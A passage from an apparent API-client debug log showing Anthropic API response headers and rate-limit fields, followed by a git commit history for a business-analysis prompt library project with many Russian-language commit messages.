\"rejected\",\n[2026-09-29T07:45:44.571Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:44.583Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:44.609Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.613Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:44.617Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:44.628Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:44.631Z] [STDOUT]     \"cf-ray\": \"a4295eb81e404d8b-FRA\",\n[2026-09-29T07:45:44.638Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:44.643Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:44.659Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:44.663Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:44.667Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:44.673Z] [STDOUT]     \"request-id\": \"req_011CfXMn9nR8D3gjiAaDPaxJ\",\n[2026-09-29T07:45:44.679Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:44.685Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:44.688Z] [STDOUT]     traceresponse: \"00-1e0d0e8f100c0a2629b371cdc8cde52d-dbaa1e3ea260556e-01\",\n[2026-09-29T07:45:44.694Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:44.697Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:44.700Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:44.703Z] [STDOUT]   },\n[2026-09-29T07:45:44.708Z] [STDOUT]   durationMs: 810,\n[2026-09-29T07:45:44.712Z] [STDOUT] }\n[2026-09-29T07:45:44.718Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:44.721Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:44.723Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:44.732Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:44.740Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:44.743Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:44.746Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:44.754Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:44.759Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:44.763Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:44.768Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:44.775Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:44.779Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:44.783Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:44.787Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:44.790Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:44.793Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:44.796Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.798Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:44.802Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:44.805Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:44.808Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:44.812Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.817Z] [STDOUT]   \"request-id\": \"req_011CfXMn9nR8D3gjiAaDPaxJ\",\n[2026-09-29T07:45:44.820Z] [STDOUT]   \"traceresponse\": \"00-1e0d0e8f100c0a2629b371cdc8cde52d-dbaa1e3ea260556e-01\",\n[2026-09-29T07:45:44.825Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:44.830Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:44.836Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:44.838Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:44.848Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:44.852Z] [STDOUT]   \"cf-ray\": \"a4295eb81e404d8b-FRA\",\n[2026-09-29T07:45:44.855Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:44.858Z] [STDOUT] [log_a7b8f8] response parsed {\n[2026-09-29T07:45:44.861Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:44.865Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:44.868Z] [STDOUT]   body: X {\n[2026-09-29T07:45:44.873Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:44.878Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:44.882Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:44.885Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:44.888Z] [STDOUT]     },\n[2026-09-29T07:45:44.891Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:44.895Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:44.897Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:44.901Z] [STDOUT]   },\n[2026-09-29T07:45:44.906Z] [STDOUT]   durationMs: 811,\n[2026-09-29T07:45:44.909Z] [STDOUT] }\n[2026-09-29T07:45:44.916Z] [STDOUT] [log_6abaf8, request-id: \"req_011CfXMn9R5XKMtjbvnPSGB3\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1270ms\n[2026-09-29T07:45:44.920Z] [STDOUT] [log_6abaf8] response start {\n[2026-09-29T07:45:44.924Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:44.928Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:44.936Z] [STDOUT]   headers: {\n[2026-09-29T07:45:44.945Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:44.955Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:44.959Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:44.963Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:44.966Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:44.970Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:44.972Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:44.977Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:44.982Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:44.985Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:44.988Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:44.992Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:44.995Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:44.999Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:45.004Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:45.008Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:45.014Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:45.017Z] [STDOUT]     \"cf-ray\": \"a4295eb79f0629ad-FRA\",\n[2026-09-29T07:45:45.020Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:45.025Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:45.028Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:45.031Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:45.037Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:45.041Z] [STDOUT]     \"request-id\": \"req_011CfXMn9R5XKMtjbvnPSGB3\",\n[2026-09-29T07:45:45.043Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:45.048Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:45.050Z] [STDOUT]     traceresponse: \"00-c58a57665c356fad1b2b2d1b4f7a599b-944d7aef3e3f4641-01\",\n[2026-09-29T07:45:45.053Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:45.057Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:45.061Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:45.063Z] [STDOUT]   },\n[2026-09-29T07:45:45.068Z] [STDOUT]   durationMs: 1270,\n[2026-09-29T07:45:45.071Z] [STDOUT] }\n[2026-09-29T07:45:45.074Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:45.077Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:44 GMT\",\n[2026-09-29T07:45:45.081Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:45.083Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:45.086Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:45.088Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:45.091Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:45.094Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:45.097Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:45.100Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:45.104Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:45.108Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:45.113Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:45.118Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:45.125Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:45.131Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:45.133Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:45.140Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:45.145Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:45.151Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:45.158Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:45.161Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:45.170Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:45.177Z] [STDOUT]   \"request-id\": \"req_011CfXMn9R5XKMtjbvnPSGB3\",\n[2026-09-29T07:45:45.180Z] [STDOUT]   \"traceresponse\": \"00-c58a57665c356fad1b2b2d1b4f7a599b-944d7aef3e3f4641-01\",\n[2026-09-29T07:45:45.188Z] [STDOUT]   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governance: add BACKLOG.md for mango migration phase 1\\nb741a00 2026-06-03 chore: remove technical root .gitkeep (real content present)\\nd7b1ae3 2026-06-03 fix: rename classification contract to kebab-case and resolve kb/glossary ambiguity in backlog\\n1550ee8 2026-06-03 fix: record founder decisions Q1-Q4 and resolve naming/path inconsistencies\\n9561184 2026-06-04 governance: materialize migration backlog into 9 executable issues with individual modes\\nb2d2b16 2026-06-04 project: create 9 GitHub Issues for Phase 1 migration\\n49d81a9 2026-06-04 docs: rewrite README.md as standalone Mango BA Prompts spoke (M-001)\\nf3537ed 2026-06-04 structure: create phase 1 migration folders\\n644d28e 2026-06-04 docs: add temporary prompt workflow\\n4745f25 2026-06-04 standards: copy hub glossary for M-003\\n01fae51 2026-06-04 standards: migrate product classification contract\\n94b04c1 2026-06-04 migration: add Mango prompt experiments\\nee90e7b 2026-06-04 prompts: normalize migrated Mango prompt assets\\nee9c7a1 2026-06-05 docs: add hub research dependency registry (M-007)\\n8deffc8 2026-06-05 [M-009] governance: \u0441\u043e\u0437\u0434\u0430\u0442\u044c Migration Manifest \u043a\u0430\u043a \u0441\u043d\u0438\u043c\u043e\u043a \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438\\ne90780f 2026-06-10 sync: align governance files with Hub after PR #208\\n23cecec 2026-06-10 chore: remove .gitkeep placeholder now that governance sync ships real content\\nf0ecbb9 2026-06-10 fix: remove leaked tool-call markup from end of ADR-0001\\n53bdb42 2026-06-10 fix: pin Hub links in handover prompt to permalink SHA 117e4a55 (D8 consistency)\\n708af2d 2026-06-10 docs: update AI_SESSION_HANDOVER_PROMPT.md with team role and template checks\\n3a265e6 2026-06-10 chore: migrate attached BA prompt file to prompts/drafts (issue #54)\\n5c9e923 2026-06-10 chore: remove auto-generated .gitkeep scaffolding\\nd8a4759 2026-06-11 refactor: split BA prompts draft into 23 standardized files (#56)\\nf26e5a5 2026-06-11 docs: log issue #56 prompt split in CHANGELOG (## Unreleased)\\nc8db751 2026-06-11 chore: remove auto-generated .gitkeep scaffolding\\na45cd17 2026-06-11 hotfix: correct prompt legacy placement\\n00d2072 2026-06-11 docs: add taxonomy of 13 cognitive operations and 9 BA processes (#52)\\nfa2439e 2026-06-11 docs: add RFC for transferring best practices to the Hub (#52)\\n142c6a1 2026-06-11 chore: add patterns/, docs/ba-processes/ index and open-questions template (#52)\\n430fe9b 2026-06-11 docs: add prompt and pattern standards contracts (#52)\\n060e740 2026-06-11 chore: add lightweight prompt feedback issue template (#52)\\n62dba62 2026-06-11 docs: add strategy section to README, fix structure table, changelog entry (#52)\\n748ff6d 2026-06-11 docs: add prompt standard ADR (#63)\\nc3650fa 2026-06-11 chore: remove generated gitkeep scaffold\\n6418fc8 2026-06-11 docs: add BA ecosystem map and process workflows\\nb8a327c 2026-06-11 docs: make creative governance mode-aware (#61)\\nc2eeea2 2026-06-11 test: add issue 61 governance validation\\n0de1cc0 2026-06-11 docs: add pattern standard ADR (#64)\\nb0494b0 2026-06-11 docs: use accessible pattern source link\\n791a399 2026-06-12 docs: add prompts navigation README\\n35461ed 2026-06-13 structured: sync latest hub updates (session digests, terminology) to mango_ba_prompts\\nb64ff6a 2026-06-13 chore: remove generated PR placeholder\\n1f988f7 2026-06-13 structured: sync hub pr229 pr230 relevance updates\\n7abb590 2026-06-13 structured: align remaining role terminology\\n457a569 2026-06-13 structured: record hub session sync digest (2026-06-14)\\n7d523d6 2026-06-13 chore: remove generated PR placeholder\\n9eef477 2026-06-13 creative: GitHub Pages interface for mango_ba_prompts\\n4553075 2026-06-13 feat(prompts): add session-debug-documentation-oneshot summarizer\\nd8b5bfd 2026-06-13 refactor: consolidate open questions in backlog\\n114dc8e 2026-06-13 chore: remove bootstrap placeholder\\ne211e16 2026-06-15 docs: expand BA process map\\n23115c6 2026-06-15 docs: add MVP BA pattern library\\na6a45f9 2026-06-15 feat: add Mango Office Pages widget\\nce1e985 2026-06-15 Auto-commit: Changes made by Claude during problem-solving session\\n7a6f06e 2026-06-16 feat(prompts): add id+title frontmatter, remove EXPERIMENTAL marker\\n7102f47 2026-06-16 feat(pages): strip frontmatter on copy, show title+id in cards and README\\nf290522 2026-06-16 docs: update ADR #001, standard and CHANGELOG for id+title fields\\n141c8a5 2026-06-16 chore: add issue #92 metadata scripts and ignore playwright artifacts\\nde08671 2026-06-16 feat(pages): catalog-first layout, ordered cascade filters, \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 module\\nb47ff12 2026-06-16 feat(data): generate checks.json for \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 module (\u0424\u0422-6)\\nbdfc11f 2026-06-16 test(ci): add issue-91 regression validator to Pages workflow\\nce12a64 2026-06-16 docs: document issue #91 enhancements, dir decision, screenshots (\u0424\u0422-5/\u0424\u0422-7)\\n82c7107 2026-06-16 fix: add prompt ID as HTML comment prefix when copying (#95)\\n14bb123 2026-06-16 docs(adr): add ADR-003 BA ontology (Artifact\u2194Process\u2194Operation) for \u0424\u0422-1\\n6202475 2026-06-16 docs(adr): add ADR-004 operations taxonomy revision for \u0424\u0422-2\\nebe1b21 2026-06-16 docs(adr): add ADR-005 artifact/standards/team naming for \u0424\u0422-3\\nda8a827 2026-06-16 ADR-006: prompt naming \u2014 parse algorithm, anti-overload rules, KB-prompts (\u0424\u0422-4)\\n37dc51c 2026-06-16 ADR-007: KB standard before real RAG \u2014 citation format, glossary sync, pre-RAG (\u0424\u0422-5)\\n083f6ff 2026-06-16 ADR-008: industry-standards & best-practices standard \u2014 terminology, application rules, verified registry (\u0424\u0422-6)\\n1885f7d 2026-06-16 ADR-009: multi-level BCREQ formation process \u2014 6 subprocesses, human gates, unfinished-subprocess mechanism (\u0424\u0422-7)\\nbaa8652 2026-06-16 feat: optimize GitHub Pages into multi-page SPA (#99)\\nd6b29f0 2026-06-16 feat(pages): process/subprocess tree showing only items with prompts (\u0424\u0422-8)\\n9893ebb 2026-06-16 docs(adr): ADR-010 + pages-ux-standard for GitHub Pages process tree (\u0424\u0422-8)\\n2cc0a2e 2026-06-16 chore(issue-97): validator, CI wiring, \u0424\u0422-9 examples, changelog & docs\\n0363a44 2026-06-16 \u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027: \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c, \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 (#101)\\n286847e 2026-06-16 docs(\u0424\u0422-8): refresh screenshots for SPA-integrated process tree\\nde05672 2026-06-16 fix: UI catalog fixes \u2014 cards, filters, sorting, toolbar (Issue #103)\\n2abf5e6 2026-06-16 \u041e\u0442\u043a\u0430\u0442 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 #101: \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u043a v0.1 + \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n11eda91 2026-06-16 feat(governance): sync mango contracts with Hub (issue #105)\\n7fb2b3b 2026-06-17 feat(experiments): \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 BCREQ-1025 \u0438 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c RFC (issue #107)\\n0a4ff4f 2026-06-18 fix(analysis): \u0443\u0447\u0435\u0441\u0442\u044c \u0440\u0435\u0432\u044c\u044e G-Ivan-A \u2014 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u04114, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f (issue #107)\\n8b20fb6 2026-06-18 feat(ba-process): dogfooding-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e \u043c\u043d\u043e\u0433\u043e\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 (issue #109)\\n0f93cdb 2026-06-18 chore: \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c .gitkeep \u0434\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f main (\u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443)\\na3784c4 2026-06-18 feat(kb): document-ingestion pipeline and neutral KB layout (issue #111)\\n482b316 2026-06-18 ci(kb): Makefile, GitHub Actions workflow, and regression validator (issue #111)\\n29009ab 2026-06-18 docs(kb): experiment report and CHANGELOG (issue #111)\\n0e68c42 2026-06-18 chore(kb): \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c .gitkeep \u0434\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f main (\u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443)\\nb3e9070 2026-06-19 Create .gitkeep\\n61cfb4c 2026-06-19 Add files via upload\\nb24f1a5 2026-06-19 Create meta.json\\nc4828f9 2026-06-19 fix(kb): generate mango manual knowledge base\\n20fb1d4 2026-06-19 Create .gitkeep\\n4fa7c4f 2026-06-19 Add files via upload\\neec644d 2026-06-19 Create meta.json\\nff93ebf 2026-06-19 fix(kb): add multi-part PDF traceability\\ndeb9ae8 2026-06-19 Enable LFS for PDF\\nfa9ba48 2026-06-19 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b PDF \u0434\u043b\u044f CC \u0438 LK\\n7bb9921 2026-06-19 \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b 6 \u0447\u0430\u0441\u0442\u0435\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u041a\u0426\\na3fd5b8 2026-06-19 fix(kb): support multi-part CC PDFs with LFS\\n0dac44b 2026-06-19 chore: remove placeholder gitkeep update\\n3bc5065 2026-06-20 Create .gitkeep\\n84d436d 2026-06-20 \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 mTalker (\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e)\\n1f08f00 2026-06-20 Create meta.json\\n007ba67 2026-06-20 feat(kb): support manifest-driven multi-file sources\\nb4269ad 2026-06-20 feat: create runs/ with execution contract\\nc4163a1 2026-06-20 feat: apply cascading context loading pattern to critical hotspots\\n0b9a57a 2026-06-20 \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u043e\u0432\u044b\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u043c\u0435\u0442\u0430-\u0444\u0430\u0439\u043b\u044b: QM, SSO, API, SIP, \u0440\u043e\u043b\u0438, \u0440\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, wallboard, \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438\\n8cddf5a 2026-07-03 docs: report KB state after LFS cleanup\\n8feff69 2026-07-03 chore: drop placeholder gitkeep update\\n3e18b3a 2026-07-03 fix: validate KB after LFS cleanup\\ndd20da9 2026-07-14 feat: add RUN-0012 \u2014 \u0424\u0422 for BCREQ-1069 restricted API key (issue #261)\\n16146fd 2026-08-17 docs: \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u0438\u0434\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (issue #263)\\nca2ee5c 2026-08-17 docs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0445\u0430\u0431\u043e\u0432\u043e\u043c RFC \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u043e\u0432 \u0411\u0410-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 (issue #263)\\n7e2a94f 2026-08-17 feat: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0440\u0435-\u0441\u0438\u043d\u043a \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0425\u0430\u0431\u0430 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0431\u0438\u0442\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a (issue #265)\\n91de9b8 2026-08-17 chore: \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u044c __pycache__ \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n389c823 2026-08-17 docs: ADR-0004 \u043e \u0440\u0435-\u0441\u0438\u043d\u043a\u0435 \u0425\u0430\u0431\u0430 \u0438 \u0440\u0435\u0435\u0441\u0442\u0440 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b (issue #265)\\neb46312 2026-08-17 docs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435-\u0441\u0438\u043d\u043a \u0432 CHANGELOG, \u043a\u0430\u0440\u0442\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u043c\u043e\u0441\u0442\u0435 \u0432 \u0425\u0430\u0431 (issue #265)\\n04394b3 2026-08-17 test: \u044e\u043d\u0438\u0442-\u0442\u0435\u0441\u0442\u044b \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043a\u043e\u0434\u0430 (issue #265)\\nc70600e 2026-08-17 docs: \u0441\u043d\u044f\u0442\u044c \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f \u0440\u0435\u0432\u044c\u044e \u043f\u043e \u0432\u0438\u0434\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (issue #263)\\n2f56205 2026-08-18 refactor: \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 governance/ \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e 